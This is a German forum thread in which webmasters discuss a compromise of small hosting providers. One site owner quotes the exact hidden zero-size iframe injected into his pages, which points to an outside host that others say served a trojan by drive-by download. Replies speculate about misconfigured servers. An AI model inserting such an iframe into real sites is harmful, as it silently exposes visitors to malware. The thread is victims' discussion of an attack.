Hackerangriff auf Hoster

[guppy]

kleine hoster scheinen derzeit von hackern belagert zu werden.
Einer der Hoster wo ich eine Domain liegen habe, ist auch betroffen (limtec).
Der Angreifer fügt folgenden code auf den Webseiten ein:
<iframe src="https://lipitor.freehoxt.com/" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

So richtig erschließt sich mir der Sinn des Ganzen nicht, aber dafür gibt es ja hier kluge Köpfe .
Ach so , der Angreifer scheint nicht über den FTP zu kommen.

[catcat]

Hast Du ein Board oder CMS da?
Falls ja: Welches?

[guppy]

nein - stinknormale html, scripte sind lediglich der cscounter und googlesitemap.
Ein telefonat mit dem hoster ergab dass es noch andere Seiten betrifft und ein befreubdeter webmaster berichtete das Gleiche von einem anderen hoster.
über shell ?

[catcat]

Dannn wird wohl der Hoster seinen Apachen nicht korrekt eingerichtet zu haben...

[Pompom]

Das ist der Grund, weshalb ich mich von kleinen Nieschenhostern fern halten, hinter denen oft nur 1...4 Frickelfrieds stehen.

Bei falsch gesetzten Nutzerrechten auf einem Server ist es kein Problem, über eine löchrige Applikation alle Kunden zu infizieren.

Auf dem Host https://lipitor.freehoxt.com/ siehst du nicht mehr das, wa Grund für den Hacker war, d.h. der Hoster freehoxt.com hat schon reagiert. Dort lagerte ursprünglich ein Torjaner, der deinen Usern untergeschoben werden sollte.

[auftragslinker]

@pompom: selbst bei großen hostern gibt es immer einen weg, einen server zu kompromittieren.

[guppy]

Dort lagerte ursprünglich ein Torjaner, der deinen Usern untergeschoben werden sollte.

#


?? ein Trojaner per iframe ?
so wie jetzt sah die Seite auch aus, als ich da die Abusemeldung mailte,
deshalb erschließt sich mir der Sinn ja nicht. Und der cache ist so eine Pillenseite.

[chris21]

?? ein Trojaner per iframe ?

Inzwischen übliche Methode, um Trojaner zu verbreiten. Such mal nach "Drive-by-Downloads", da wird einem übel.

[seo-link]

Es hat auch große Hoster getroffen!
Bei mir waren 2 HTML-Pages infiziert ... wie auch immer

[Boa]

warftp und Antivir User sind gerne mal betroffen

[seo-link]

Hab ich beides nicht am Laufen

[swiat]

warftp und Antivir User sind gerne mal betroffen

Warum gerade die?